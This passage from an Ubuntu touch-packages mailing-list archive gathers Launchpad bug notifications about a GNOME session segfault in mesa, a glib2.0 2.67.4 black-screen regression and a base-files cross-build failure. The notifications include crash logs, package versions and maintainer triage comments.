  Graphical user interface is not coming up upon start. Only SSH is
  possible.

  lsb_release -rd:

  Description:  Ubuntu 20.10
  Release:  20.10

  dmesg:

  [   11.985343] gnome-session-c[1013]: segfault at 0 ip  sp 
7fff7679ca48 error 14 in 
gnome-session-check-accelerated-gl-helper[56020e238000+2000]
  [   11.985352] Code: Unable to access opcode bytes at RIP 0xffd6.
  [   14.216117] gnome-shell[1094]: segfault at 0 ip  sp 
7ffeddff9f88 error 14
  [   14.216122] Code: Unable to access opcode bytes at RIP 0xffd6.
  [   15.316292] gnome-shell[1109]: segfault at 0 ip  sp 
7ffc70716198 error 14
  [   15.316297] Code: Unable to access opcode bytes at RIP 0xffd6.

  apt-cache policy:

  gnome-session:
Installed: (none)
Candidate: 3.38.0-1ubuntu1
Version table:
   3.38.0-1ubuntu1 500
  500 http://de.archive.ubuntu.com/ubuntu groovy/main amd64 Packages
  500 http://de.archive.ubuntu.com/ubuntu groovy/main i386 Packages
  gnome-session-bin:
Installed: 3.38.0-1ubuntu1
Candidate: 3.38.0-1ubuntu1
Version table:
   *** 3.38.0-1ubuntu1 500
  500 http://de.archive.ubuntu.com/ubuntu groovy/main amd64 Packages
  100 /var/lib/dpkg/status
  gnome-session-common:
Installed: 3.38.0-1ubuntu1
Candidate: 3.38.0-1ubuntu1
Version table:
   *** 3.38.0-1ubuntu1 500
  500 http://de.archive.ubuntu.com/ubuntu groovy/main amd64 Packages
  500 http://de.archive.ubuntu.com/ubuntu groovy/main i386 Packages
  100 /var/lib/dpkg/status

  /var/crash: see attachment

To manage notifications about this bug go to:
https://bugs.launchpad.net/mesa/+bug/1915870/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916701] Re: [glib2.0 2.67.4-1] Black screen on boot, login screen missing/delayed, eventually comes up without Wayland support (only Xorg sessions offered)

[Daniel van Vugt]

** No longer affects: gnome-session (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to glib2.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1916701

Title:
  [glib2.0 2.67.4-1] Black screen on boot, login screen missing/delayed,
  eventually comes up without Wayland support (only Xorg sessions
  offered)

Status in glib2.0 package in Ubuntu:
  New

Bug description:
  When I installed the glib2.0 2.67.4-1 packages I consistently
  encountered a black screen on boot. The login screen was
  missing/delayed but eventually comes up without Wayland support (only
  Xorg sessions offered).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/glib2.0/+bug/1916701/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916714] [NEW] cross build fails

[Vijai Kumar K]

Public bug reported:

Cross building of base-files package fails.

Version: 11ubuntu5.3

Steps to reproduce:
---
armhf:
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -aarmhf -Pcross,nocheck

arm64:
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -aarm64 -Pcross,nocheck

Log:

make[1]: Leaving directory '/media/data/base-files-11ubuntu5.3'
   dh_missing
   dh_strip
aarch64-linux-gnu-objcopy: Unable to recognise the format of the input file 
`debian/base-files/usr/bin/locale-check'
dh_strip: error: aarch64-linux-gnu-objcopy --only-keep-debug 
--compress-debug-sections debian/base-files/usr/bin/locale-check 
debian/.debhelper/base-files/dbgsym-root/usr/lib/debug/.build-id/71/aa3df0a7e05817cb7e212513aeae7db21d8593.debug
 returned exit code 1
dh_strip: error: Aborting due to earlier error
make: *** [debian/rules:15: binary] Error 2
dpkg-buildpackage: error: fakeroot debian/rules binary subprocess returned exit 
status 2

Expected output:

Should compile successfully


Thanks,
Vijai Kumar K

** Affects: base-files (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to base-files in Ubuntu.
https://bugs.launchpad.net/bugs/1916714

Title:
  cross build  fails

Status in base-files package in Ubuntu:
  New

Bug description:
  Cross building of base-files package fails.

  Version: 11ubuntu5.3

  Steps to reproduce:
  ---
  armhf:
  DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -aarmhf -Pcross,nocheck

  arm64:
  DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -aarm64 -Pcross,nocheck

  Log:
  
  make[1]: Leaving directory '/media/data/base-files-11ubuntu5.3'
 dh_missing
 dh_strip
  aarch64-linux-gnu-objcopy: Unable to recognise the format of the input file 
`debian/base-files/usr/bin/locale-check'
  dh_strip: error: aarch64-linux-gnu-objcopy --only-keep-debug 
--compress-debug-sections debian/base-files/usr/bin/locale-check 
debian/.debhelper/base-files/dbgsym-root/usr/lib/debug/.build-id/71/aa3df0a7e05817cb7e212513aeae7db21d8593.debug
 returned exit code 1
  dh_strip: error: Aborting due to earlier error
  make: *** [debian/rules:15: binary] Error 2
  dpkg-buildpackage: error: fakeroot debian/rules binary subprocess returned 
exit status 2

  Expected output:
  
  Should compile successfully

  
  Thanks,
  Vijai Kumar K

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/base-files/+bug/1916714/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916701] Re: [glib2.0 2.67.4-1] Black screen on boot, login screen missing/delayed, eventually comes up without Wayland support (only Xorg sessions offered)

[Daniel van Vugt]

Looks like gnome-shell is failing some basic GObject initialization. The
only ABI/API break I can see in glib 2.67 is this:
https://gitlab.gnome.org/GNOME/glib/-/commit/334f6953364680ddc6c0d3da13fda1d92bf5379d

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to glib2.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1916701

Title:
  [glib2.0 2.67.4-1] Black screen on boot, login screen missing/delayed,
  eventually comes up without Wayland support (only Xorg sessions
  offered)

Status in glib2.0 package in Ubuntu:
  New

Bug description:
  When I installed the glib2.0 2.67.4-1 packages I consistently
  encountered a black screen on boot. The login screen was
  missing/delayed but eventually comes up without Wayland support (only
  Xorg sessions offered).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/glib2.0/+bug/1916701/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1915870] Re: gnome-session-check-accelerated-gl-helper crashed with SIGSEGV in cso_destroy_context() [r300_dri.so]

[Daniel van Vugt]

** Patching together your own packages is not supported and can easily
break your system **

With that said, the patch is here:
https://gitlab.freedesktop.org/mesa/mesa/-/commit/58e43594fc4.patch

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1915870

Title:
  gnome-session-check-accelerated-gl-helper crashed with SIGSEGV in
  cso_destroy_context() [r300_dri.so]

Status in Mesa:
  Unknown
Status in mesa package in Ubuntu:
  Triaged
Status in mesa package in Fedora:
  Unknown

Bug description:
  Graphical user interface is not coming up upon start. Only SSH is
  possible.

  lsb_release -rd:

  Description:  Ubuntu 20.10
  Release:  20.10

  dmesg:

  [   11.985343] gnome-session-c[1013]: segfault at 0 ip  sp 
7fff7679ca48 error 14 in 
gnome-session-check-accelerated-gl-helper[56020e238000+2000]
  [   11.985352] Code: Unable to access opcode bytes at RIP 0xffd6.
  [   14.216117] gnome-shell[1094]: segfault at 0 ip  sp 
7ffeddff9f88 error 14
  [   14.216122] Code: Unable to access opcode bytes at RIP 0xffd6.
  [   15.316292] gnome-shell[1109]: segfault at 0 ip  sp 
7ffc70716198 error 14
  [   15.316297] Code: Unable to access opcode bytes at RIP 0xffd6.

  apt-cache policy:

  gnome-session:
Installed: (none)
Candidate: 3.38.0-1ubuntu1
Version table:
   3.38.0-1ubuntu1 500
  500 http://de.archive.ubuntu.com/ubuntu groovy/main amd64 Packages
  500 http://de.archive.ubuntu.com/ubuntu groovy/main i386 Packages
  gnome-session-bin:
Installed: 3.38.0-1ubuntu1
Candidate: 3.38.0-1ubuntu1
Version table:
   *** 3.38.0-1ubuntu1 500
  500 http://de.archive.ubuntu.com/ubuntu groovy/main amd64 Packages
  100 /var/lib/dpkg/status
  gnome-session-common:
Installed: 3.38.0-1ubuntu1
Candidate: 3.38.0-1ubuntu1
Version table:
   *** 3.38.0-1ubuntu1 500
  500 http://de.archive.ubuntu.com/ubuntu groovy/main amd64 Packages
  500 http://de.archive.ubuntu.com/ubuntu groovy/main i386 Packages
  100 /var/lib/dpkg/status

  /var/crash: see attachment

To manage notifications about this bug go to:
https://bugs.launchpad.net/mesa/+bug/1915870/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916701] Re: [glib2.0 2.67.4-1] Black screen on boot, login screen missing/delayed, eventually comes up without Wayland support (only Xorg sessions offered)

[Daniel van Vugt]

I forced the warning to dump core and get:

Feb 24 15:50:49 kab gnome-shell.bin[1006]: invalid (NULL) pointer instance
Feb 24 15:50:49 kab org.gnome.Shell.desktop[1006]: GNOME Shell crashed with 
signal 5
Feb 24 15:50:49 kab org.gnome.Shell.desktop[1006]: == Stack trace for context 
0x559976392170 ==
Feb 24 15:50:49 kab org.gnome.Shell.desktop[1006]: #0   5599765f6f18 i   
resource:///org/gnome/shell/ui/main.js:187 (3d80d9cbee70 @ 52)
Feb 24 15:50:49 kab org.gnome.Shell.desktop[1006]: #1   5599765f6e68 i   
resource:///org/gnome/shell/ui/main.js:162 (3d80d9cbefb0 @ 324)
Feb 24 15:50:49 kab org.gnome.Shell.desktop[1006]: #2   5599765f6de0 i   
:1 (3d80d9c84100 @ 48)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to glib2.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1916701

Title:
  [glib2.0 2.67.4-1] Black screen on boot, login screen missing/delayed,
  eventually comes up without Wayland support (only Xorg sessions
  offered)

Status in glib2.0 package in Ubuntu:
  New
Status in gnome-session package in Ubuntu:
  New

Bug description:
  When I installed the glib2.0 2.67.4-1 packages I consistently
  encountered a black screen on boot. The login screen was
  missing/delayed but eventually comes up without Wayland support (only
  Xorg sessions offered).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/glib2.0/+bug/1916701/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp